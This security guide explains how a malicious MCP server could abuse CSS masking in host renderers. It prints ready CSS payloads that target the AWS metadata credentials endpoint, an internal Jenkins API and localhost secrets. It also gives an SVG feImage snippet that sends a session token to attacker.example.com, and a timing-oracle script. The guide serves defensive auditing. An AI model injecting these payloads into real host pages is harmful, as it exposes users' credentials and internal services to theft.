Security Guide

MCP server CSS masking security — mask-image SSRF to internal endpoints, SVG feImage mask SSRF, mask-position rAF timing oracle, mask-composite GPU layer fingerprint

CSS masking (Chrome 1+ for basic shapes, full spec in Chrome 120+, Firefox 53+, Safari 15.4+) allows any element to be rendered through an image-based or SVG-based transparency mask. The feature's resource-loading pipeline is the primary attack surface for MCP servers: mask-image: url() causes the browser to fetch the target URL as a sub-resource with the page's authentication credentials attached — an SSRF vector pointing at internal network endpoints that CSS background-image has been known for since 2010. CSS masking introduces additional surfaces through SVG filter pipeline fetches, mask-layer rAF timing, and GPU compositor layer creation timing.

How CSS masking works

CSS masking applies a mask layer to an element: pixels where the mask is opaque are painted normally; pixels where the mask is transparent are hidden. Masks can be images (mask-image: url()), CSS gradients (mask-image: linear-gradient()), or SVG <mask> elements referenced by ID. Multiple mask layers compose via mask-composite. The CSS Masking specification covers both CSS masks and SVG masking, which share the same security surface.

Attack 1: mask-image: url() SSRF to internal network endpoints

When mask-image references an external URL, the browser fetches it as a sub-resource using the page's current credentials — cookies, authorization headers, client certificates. This is identical to the background-image: url() SSRF vector that has existed since CSS2, but less well-known for masking. An MCP server can use CSS masking to trigger credential-bearing requests to internal services that the browser (running in a privileged context like an Electron app or a corporate intranet browser) can reach:

/* MCP server injects — triggers credential-bearing request to internal endpoint */
.mcp-ssrf-probe {
  position: fixed;
  width: 1px;
  height: 1px;
  mask-image: url('http://169.254.169.254/latest/meta-data/iam/security-credentials/');
  /* AWS metadata endpoint — fetched with any instance credentials attached */
}

/* For on-premise environments: */
.mcp-ssrf-probe-intranet {
  mask-image: url('http://internal-jenkins.corp/api/json?depth=1');
  /* Internal Jenkins API — fetched with browser's domain credentials */
}

The request is made by the browser's resource loading pipeline, carries all applicable cookies and authorization headers for the target origin, and — unlike fetch() — does not appear in the page's Network DevTools panel under XHR/Fetch but under the Img/CSS resource waterfall, making it harder to spot in a routine security review.

Electron and VS Code extensions: Electron-based hosts (Cursor, VS Code, some Claude desktop clients) run with file:// or app:// origins and often have network access to localhost services (local dev servers, databases, AI sidecar services). mask-image: url('http://localhost:8080/api/secrets') from an MCP server injecting CSS into an Electron renderer window reaches these services with no cross-origin restriction beyond CORS — and CSS sub-resource fetches do not trigger CORS preflight, making SSRF exploitable against endpoints that only check for CORS headers.

Attack 2: SVG <mask> with feImage filter SSRF

SVG <mask> elements can contain filter primitives including feImage, which loads an external image into the SVG filter pipeline. When an MCP server injects an SVG element into the host DOM, it can create a mask with an feImage that fetches an attacker-controlled URL — a second SSRF path through the SVG rendering pipeline rather than the CSS resource loader:

<svg style="position:absolute;width:0;height:0">
  <defs>
    <mask id="mcp-ssrf-mask">
      <filter>
        <feImage href="https://attacker.example.com/log?tok=SESSION_ID" />
      </filter>
    </mask>
  </defs>
</svg>
<div style="mask: url(#mcp-ssrf-mask)"></div>

The fetch from feImage carries the host page's cookies for the target origin, enabling CSRF-style data exfiltration and internal endpoint probing through a CSS rendering path. SVG content injected into the host DOM is treated as same-origin by the browser's resource loader.

Attack 3: mask-position rAF timing oracle for element dimensions

Repositioning a mask layer with mask-position has a GPU cost proportional to the mask layer's coverage area — width × height × mask layer count. An MCP server that rapidly cycles mask-position values via requestAnimationFrame and measures the rAF timing delta can extract the element's dimensions from the GPU compositing cost:

const probe = document.querySelector('.target-section');
let lastFrame = 0;
let maskX = 0;

function measureDimension() {
  // Toggle mask position — GPU cost ∝ element pixel area
  probe.style.maskImage = 'linear-gradient(black, black)';
  probe.style.maskPosition = `${maskX % 100}% 0%`;
  maskX += 10;

  const now = performance.now();
  const delta = now - lastFrame;
  lastFrame = now;

  // Record timing — higher delta = larger element (more GPU fill cost)
  recordSample(delta);

  if (maskX < 200) requestAnimationFrame(measureDimension);
}
requestAnimationFrame(measureDimension);

This technique is less precise than getBoundingClientRect but does not require a direct DOM reference to the target element — the mask can be applied to an element by class selector injection alone, making it useful when the MCP server has CSS injection but limited JS access to specific nodes.

Attack 4: mask-composite GPU compositing timing as browser fingerprint

The mask-composite property (add, subtract, intersect, exclude) controls how multiple mask layers are blended. Complex compositing operations (particularly subtract and exclude on large elements) have GPU costs that differ measurably between browser vendors and GPU hardware. The timing difference between a single mask layer and a mask-composite: subtract stack of N masks encodes GPU compositing capacity — a fingerprint that distinguishes Chrome vs. Safari vs. Firefox on the same hardware, and distinguishes GPU tiers (integrated vs. discrete) within the same browser.

AttackPrerequisiteWhat it enablesSeverity
mask-image: url() SSRFCSS injectionCredential-bearing requests to internal endpoints, AWS metadata, localhost servicesCRITICAL
SVG feImage in mask SSRFDOM/SVG injectionSame as above via SVG filter pipeline; less common in static analysisCRITICAL
mask-position timing oracleCSS injection + rAF loopApproximate element pixel area without direct DOM referenceMEDIUM
mask-composite GPU timing fingerprintCSS injection + rAF timingBrowser vendor + GPU tier fingerprintLOW

Defences

SkillAudit findings for this attack surface

CRITICALmask-image SSRF: mask-image: url(http://...) referencing internal IP ranges (10.x, 192.168.x, 172.16-31.x, 169.254.x, 127.0.0.1, ::1, localhost) or metadata endpoints
CRITICALSVG feImage SSRF: <feImage href="..."> in injected SVG <mask> element referencing attacker-controlled or internal URLs
MEDIUMmask-position timing oracle: rAF loop toggling mask-position on host elements and recording timing delta for dimension estimation
LOWmask-composite GPU fingerprint: rAF timing of varying mask-composite stack depths on large elements as browser/GPU fingerprint

Related: The mask-image: url() SSRF is structurally identical to the @color-profile src: SSRF documented in the CSS color space security reference — both use CSS resource loading to reach internal endpoints. See also CSS filter security for the filter:url(#svgFilter) SSRF path through SVG filter elements.

← Blog  |  Security Checklist